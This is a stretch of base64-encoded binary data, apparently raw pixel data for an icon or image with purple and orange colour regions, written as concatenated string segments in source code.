/v+ykvX/s5T2/6+N9/+ujPf/roz3/6yL8/+tjPX/q4vy/6yM8f+sjPH/2835//////////////////// + //////////////////////////////////////////7+///+/v///v7///7+///+/v///v3///79///+ + /f///v7////+////////////////////////////////////////////59/8/62N8v+sjPL/roz1/62L + 9v+ti/b/rYv2/62M9v+qiPX/qYb0/6uL8v/Vxvn//f3///////////////////////////////////// + ///////////////9/P//4dP//5Nf//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///kVz//9zL///+/f////////////// + ///////////////////////////////////+/v//0b35/7CO9f+vjvf/roz3/6+O9v+ujPf/roz2/62M + 8/+ri/D/q4vw/6yM8f/l2vv////////////////////////////////////////+/f///v3///39///9 + /f///fz///38///+/f///v3///38///8+////fv///38///9/f////7///////////////////////// + ///////////////////49v7/spL1/66M9/+ujPf/q4n1/6qH9P+phvT/rYv2/6yK9v+qh/T/qony/7KT + 9P/x6/3//v3///////////////////////////////////////////////7+///38v//s43//4BC//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4FE//+zjf//9vL///7+///////////////////////////////////////////////+//b0 + /f+wj/X/sI/2/6+O9/+vjvb/sI73/66M9/+ujPX/rIvx/6uL8P+ri/D/up/z//bz/v////////////// + /////////////////////f3///Hq///s5P//8er///Tv///28v//+fb///38///9/P///Pr///r4///7 + +f//+/n///z7///+/v/////////////////////////////////////////////+///CqPn/r433/62L + 9/+qiPX/qof0/6qH9P+qiPT/rYv3/6uI9f+ph/P/q4ry/867+P/8+/////////////////////////// + //////////////////////////38///Xw///jFT//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///j1n//9zL///9/P////////////// + //////////////////////////////////////7/yLH4/6+O9f+vjvf/r473/7GP9v+vjff/roz3/62L + 9v+ri/H/q4vw/6uL8P/ErfT///////////////////////////////////7+///69///v5///5dl//+g + cf//pnv//66H//+5lv//x6z//821///Irf//xKj//8aq///Gqv//zLP///Pu//////////////////// + /////////////////////////////8u1+f+vjff/roz3/6yK9v+qh/T/rIj2/6yJ9v+ti/f/rIn2/6mH + 9P+rivL/tJX1//Hs/f////////////////////////////////////////////////////7///Ls//+m + ev//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4BB//+shP//9fH///7+//////////////////////////////////////////////////r3 + /f+riPT/spH2/66M9/+wj/b/sI/2/62M9P+si/P/rIvz/6uL8P+ri/D/q4vw/9XE+P////////////// + ///////////////+/v///v7///n3//+wif//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9/QP//wqX///7+////////////////////////////////////////////0r/6/66M + 9/+ujPf/rYv3/6qH9v+rh/b/qoj1/62L9v+ti/f/q4n1/6qI8/+wkfP/y7X4//////////////////// + /////////////////////////////////////Pr//8es//+FSf//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///ilD//9K9///9/P////////////// + ///////////////////////////////////+/f//1MH5/6+O9f+vjff/r433/7CO9/+vjfb/q4vx/6uL + 8f+ri/D/q4vw/6uL8P+sjPH/6+P7///////////////////////////////+///+/v//+PT//6uB//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+1kP//+vf///////// + ///////////////////////////////////f0/v/roz3/66M9/+ujPf/qoj2/6qH9v+qiPT/qoj0/6uJ + 9f+riPT/qYf0/6uL8v+vj/X/+PX+///////////////////////////////////////////////////+ + /v//59v//5Vh//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+fcP//7+j///7+//////////////////////////////////////////////////37 + /v+6nvf/r473/66M9/+vjff/r4z3/62M9f+ri/D/q4vw/6uL8P+ri/D/q4vw/7OW8f/8+/7///////// + //////////////////////////7+///18f//pHj//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///62E///38/////7///////////////////////////////////////Ls + /v+ujPf/roz3/66M9/+riPb/qYf1/6qI9P+qiPT/rIr2/62K9/+rifT/q4ny/62M9P/Twfn//v7///// + ///////////////////////////////////////////////38///p33//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0b//76e///7+f////////////// + ////////////////////////////////////////9fH+/7KQ9v+ujPf/roz3/62L9/+ti/b/rYz0/6uL + 8P+ri/D/q4vw/6uL8P+rjPD/zrv3/////////////////////////////////////////v7///Hr//+e + b///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///pXn///Tv//// + /v//////////////////////////////////////+fb+/7KS+P+ujPf/roz3/6uJ9v+ph/X/qoj0/6qI + 9P+sivb/rIr2/6yK9v+qiPT/q4vy/7mc9//8+v////////////////////////////////////////// + //////////37///CpP//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+QWf//38////7+//////////////////////////////////////////////////// + ///Zyfv/r433/6+N9/+vjff/roz3/7CO9v+tjPP/q4vw/6uL8P+ri/H/q4vw/7CT8f/l2vr///////// + ///////////////////////////+///+/f//7OP//5dk//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+ca///7eX///7+//////////////////////////////////// + ///+/v//ybP6/66M9/+ujPf/rIn2/6mH9f+qiPX/q4j1/6yK9v+rifX/rIr2/6yK9v+rivP/rYz0//n1 + /v///////////////////////////////////////////////////v7//9zL//+NVf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//6V6///07////v7///////// + ///////////////////+/v7//////////////////////7yh+P+wkPb/sZD2/6+O9/+vjff/r432/6yL + 8v+ri/D/q4vx/6uL8P+ri/D/xrD1//38/v/////////////////////////////+/v///v7///38///h + 0v//jFT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///5Ba///k + 1v///fz////////////////////////////////////////////o3/z/roz3/66M9/+ujPf/qof2/6uI + 9f+sivb/q4n2/6uJ9f+riPX/rYv3/6qI9P+ri/L/39H8///+//////////////////////////////// + ////////////////////8er//51s//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+CRP//waP///z7/////v////////////////////////////////////////////// + ////////s5P3/66M9/+ujPX/ro30/62M9P+rifX/qonz/6uL8P+si/H/rIzw/62O8f/j2fv///7///// + ///////////////////////////+///+/v///Pv//9C4//+DRv//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///hkr//9O+///9+/////////////////////////////// + //////////////jz/v+6nfn/roz3/66M9/+rifb/rIr3/66M9/+rifX/qoj0/6qI9P+ti/b/rIr2/66P + 8/+4nPb//v3////////////////////////////////////////////////+///7+P//sIn//39A//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///45W///cyv///fz////+//// + /////////////////////////////////////////v7///Pt/v+ujPf/rYz1/62M8v+si/L/q4ry/6qJ + 9P+qifT/q4vw/6yM8f+rjPD/vqT0//j2/////////////////////////////////////v7///79///6 + +P//u5r//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+A + Qf//wKH///v4/////v///v7/////////////////////////////////+/n+/9rL/P+ujPf/roz3/62L + 9/+sivf/roz3/6yJ9v+qiPX/qoj0/6uJ9f+ti/f/r4/0/6yM8//18P7//v7///////////////////// + //////////////////////////38///Gqf//gUP//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///nm////Do/////v////////////////////////////////////////////// + ///9/P7/1MH7/62L9/+ujfP/q4vx/6uL8f+ri/H/q4ry/6uK8f+ri/D/rIzw/6uL8P/f0vr//f3///// + ///////////////////////////////+/f///v7///fz//+qgP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+uhv//9/P///79///+/v////////////// + ///////////////////9/P//7OX+/7CP9/+ujPf/rYv3/62L9/+tivf/rIj2/6qH9f+qiPT/qoj0/6yL + 9v+tjPb/rIzy/9C9+P/9/P7//////////////////////////////////////////////v7//9rI//+J + T///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///39A//+yjP//+ff///7+//// + /v////////////////////////////////////////////v6/v/Frfn/roz3/62N8/+ri/H/q4vx/6uL + 8f+qivL/q4vw/6uL8f+ri/D/spXy//j3///+/v////////////////////////////////////7+///+ + /f//7+f//5xr//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///51u///u5v///fz///7+//////////////////////////////////7+///49v7/xaz6/66M + 9/+ti/f/rYv3/6yI9/+siPb/qof2/6uJ9P+rifT/rIr1/62L9/+tjPT/vqT2//z6/v////////////// + /////////////////////////////////v//6Nz//5Jd//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///g0f//8er///8+////v7///7+//////////////////////////////////// + ////////+ff+/7ue+P+ujfb/r470/62M8v+ri/L/q4ry/6qK8f+ri/D/rIzw/66Q8f/PvPf///7///7+ + /////////////////////////////////////v7///38///ezv//jlb//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///jVb//93M///9/f///v7///////// + //////////////////////////////z7///f0/z/r433/62M9/+sivf/q4j3/6uH9/+riff/qoj1/6uJ + 9P+qiPT/rYv2/6yM8/+6n/f/+vj+///////////////////////////////////////////////////y + 6///nGz//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+NVf//28n///38///+ + /v////7////////////////////////////////////////////18f7/uZz4/6+O9v+tjPP/rIzy/6yL + 8/+sivP/q4vw/6uL8P+tj/H/up/z//n2///////////////////////////////////////////////+ + /v///Pr//8aq//+CRf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+CRf//xKf///z7///+/v////////////////////////////////////////////Dr + /f+3mPf/roz3/62K9v+ti/f/rIn3/6uJ9/+ph/X/qoj0/6uJ9P+rifX/ro33/7KS9//q4v3///////// + //////////////////////////////////////////n2//+mev//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///5ln///r4f///v3///7+//////////////////////////////////// + //////////////Tv/v+1lvf/ro30/6uL8f+ri/H/q4vy/6yM8v+ri/D/ro/x/7WZ8//m3Pz//v3///// + //////////////////////////////////////////7+///38v//q4H//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+rgv//+PX////+//// + /////v7/////////////////////////////////+vj//9TB+v+ujPf/sI/3/66M9/+tivf/qoj3/6mG + 9v+riPX/q4n0/6uJ9P+ujPf/sZD3/9jI+/////////////////////////////////////////////// + /////Pv//6+I//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///o3b///Tu///+ + /v//////////////////////////////////////////////////////7Of9/7eY9/+si/L/q4vx/6uL + 8f+ri/H/rIzx/6uL8P+xk/L/zbr3//z8///9/f////////////////////////////////////////// + /v///v7//+fb//+VYv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///5Zj///p3////v7///////////////////////////////////////// + ////////8+/+/7eY+P+vjff/roz3/6yK9v+riff/qof2/6uJ9f+qiPT/qoj0/6+N9/+ujfX/x7H4//7+ + ///////////////////////////////////////////////9/P//upn//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+thf//+ff///////////////////////////////////////// + ///////////////////w6v3/t5v1/6yM8/+ri/H/q4vx/6uL8f+ri/H/rIzw/7+m9P/6+P7//Pz////+ + ///////////////////////////////////////////+///9+///zbT//4ZL//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///h0z//862///9 + /P/////////////////////////////////////////////////8/P//2sz7/66N9/+vjvf/qof2/6qH + 9v+sivf/rYz2/6qI9P+rifT/rYv3/62M9/+7ofb//v7///7+//////////////////////////////// + //////////79///Fqf//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///7eU///8 + +v////7///////////////////////////////////////////////////////n3///Bqff/sJHz/66P + 8v+sjPH/rY3x/62N8f/GsPX/+Pf///v5/v/////////////////////////////////////////////+ + /v////7///n2//+wif//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//rob///n2//////////////////////////////////// + ///////////////////49v3/wKX5/62L9/+tjPb/qof2/6uJ9/+tjPb/qoj0/6yK9f+tjPf/rIz0/7WY + 9v/9/f///v7////////////////////////////////+/////////v3//8yz//+CRP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+AQf//wKH///z7///+/v////////////////////////////// + /////////////////////////fz//9/Q+/+zlvP/sZP0/6yM8P+wkvH/ybX3//bx/v/8+v///v3///// + ///////////////////////////////////////////+/////v//6d///5Zj//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+W + Yv//6d7////+///////////////////////////////////////////////////////o3/3/tZb3/7CO + 9v+riPb/qof2/6uJ9v+qiPT/rYv3/7CP9/+tjfb/vKL3//79/////v////////////////////////// + ///////////////+/f//0Ln//4RI//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/+f9+P/L/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4NG///L + sf///fz//////////////////////////////////////////////////////////////v//+fb+/9jI + +f/Gsff/yLL3/+TZ+//6+P///v3////+//////////////////////////////////////////////// + //////////38///Irf//hkr//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4VJ///EqP///fv///////////////////////// + //////////////////////////////79///g0/z/tJX3/7CP9v+riPb/rIr1/6qI9P+tjPb/spP3/66N + 9//Ap/n//v7////+//////////////////////////////////////////79///Tvf//h03//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/s/34/5f9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///iE3//9XA///9/P////////////////////////////// + ///////////////////////////////////+/f//+ff+//Dr/v/59/7//v3+//////////////////// + ////////////////////////////////////////////////////9fD//6N2//9/QP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0D//6F0///x6v///v7///////////////////////////////////////////////////////Xw + /v/Rvfr/spP3/7CP9/+rifX/q4n1/66M9v+ujff/rYz3/+PX/P///v////////////////////////// + /////////////////////v7//9fD//+KUf//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P+D/fj/M/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+M + VP//3c3///79///////////////////////////////////////////////////////+/v////////// + ///+/v////7///////////////////////////////////////////////////////////////////// + /v////////79///byf//ilD//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///i1P//9K9///8+/////7///////// + //////////////////////////////////////////7///Lu/f/NuPr/tJX3/6+O9v+sivT/r473/62M + 9P/Ouvn/+Pb+///////////////////////////////////////////////////+/v//2sf//4tT//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/zP9+P63/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///41W///g0f///v7///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+vf//7SP//+AQf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+AQv//rYT///Tv///+/f////////////////////////////////////////////// + /////////f3+//Dq/v/czfr/vaP1/6yN8f+6oPT/y7X4//Hs/f///v////////////////////////// + //////////////////////////7+///dzP//jlf//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj+t/34/hP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///jVX//+DR///+/v////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///j1f//kFr//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+PWf//2MX///38//// + /v////////////////////////////////////////////////////7//v7+//r4/v/18f7/7uf8/+zn + /P/+/v///////////////////////////////////////////////////////////////v7//97O//+N + Vv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4T/fj9U/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+KUP//3s7///7+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+fb//7KN//+BRP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4FE//+uh///9O////7+///+/v////////////////////////////// + /////////////////////////v7///79/////v///v7///////////////////////////////////// + ///////////////////////////////+/v//2sj//41V//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/Vv9+ + Pxz/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4dN///byf///v7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///cy///jVX//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///45X///W + wf///fv///7+//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////79///S + vf//iE7//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj8dAAAAAP9+P9f/fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEf//9O9///+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////9/P//6qB//+AQv//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gEL//6h9///z7f///v7////+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//8Wo//+ESP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/2AAA + AAAAAAAA/34/j/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9/Qf//x6z///38//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////79///Tvv//iU///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///iVD//8uy///9+/////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////////9 + /P//tJD//39B//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj+QAAAAAAAAAAD/fj86/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+6mP//+/j///////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////v//7eT//55v//9/Qf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9/Qf//nGz//+ne///+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////Xw//+jdv//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + PzoAAAAAAAAAAP9+PwH/fj/a/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///6l////07v////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////+///+ + /v///v7///n2//+8nP//hUn//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+GSv//upn///j1/////v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /v//4tT//5Fb//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/b/34/AQAAAAAAAAAAAAAAAP9+P3T/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///mGX//+PV//// + /v////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7///7+///9/P//2sj//5Jc//9/QP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///39A//+TXv//2cb///38//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////z7///Bov//hEj//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P3QAAAAAAAAAAAAAAAAAAAAA/34/DP9+P+3/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+HTf//wqX///z7//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////79//// + /v///v7//+vh//+keP//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4JE//+keP//6+H///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /v//7ub//59x//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/t/34/DQAAAAAAAAAAAAAAAAAAAAAAAAAA/34/f/9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4BB//+h + c///7+f///////////////////////////////////////////////////////////////////////// + ///////////////////////////////+/v/////////+///z7f//tZD//4VJ//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4RI//+0 + kP//9O////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////z6///Jr///h03//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8Q/34/6v9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4hN///Jrv///Pv//////////////v3///7+//// + //////////////////////////////////////////////////////////////////////7///////// + /v//8uv//7qZ//+JT///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4pQ///Bo///+vj///////////////////////// + ///////////////////////////////////////////////////////////////////////////////+ + /v//59v//51u//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/q/34/EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/fj9g/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0D//5po///m2v////7///////////////////////////////////////////////////////// + /////////////////////////////////v///v7///Dp//+4lf//ilD//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0H//49Z///PuP///Pr///////////////////////////////////////////////////////// + //////////////////////////////////////////Xw//+zjf//hEf//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj/D/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0b//6yD///x6f////7///////// + ///////////////////////////////+/v////////////////////////////////////7///v5///i + 1P//rIP//4VK//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0H//5Jd///Ntf//+vj///////// + ///////////////////////////////////////////////////////////////////////////////3 + 9P//waP//4lP//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/D/34/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP9+PyL/fj/w/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hUr//7KM///v5v///v3///////////////////////////////////////// + //////////////////////7///38///x6v//y7L//5pp//+CRf//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///f0D//45W///Aof//8uz////+//////////////////////////////////// + ////////////////////////////////////9vH//8Kk//+MU///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/8P9+ + PyIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P1T/fj///34///9+ + 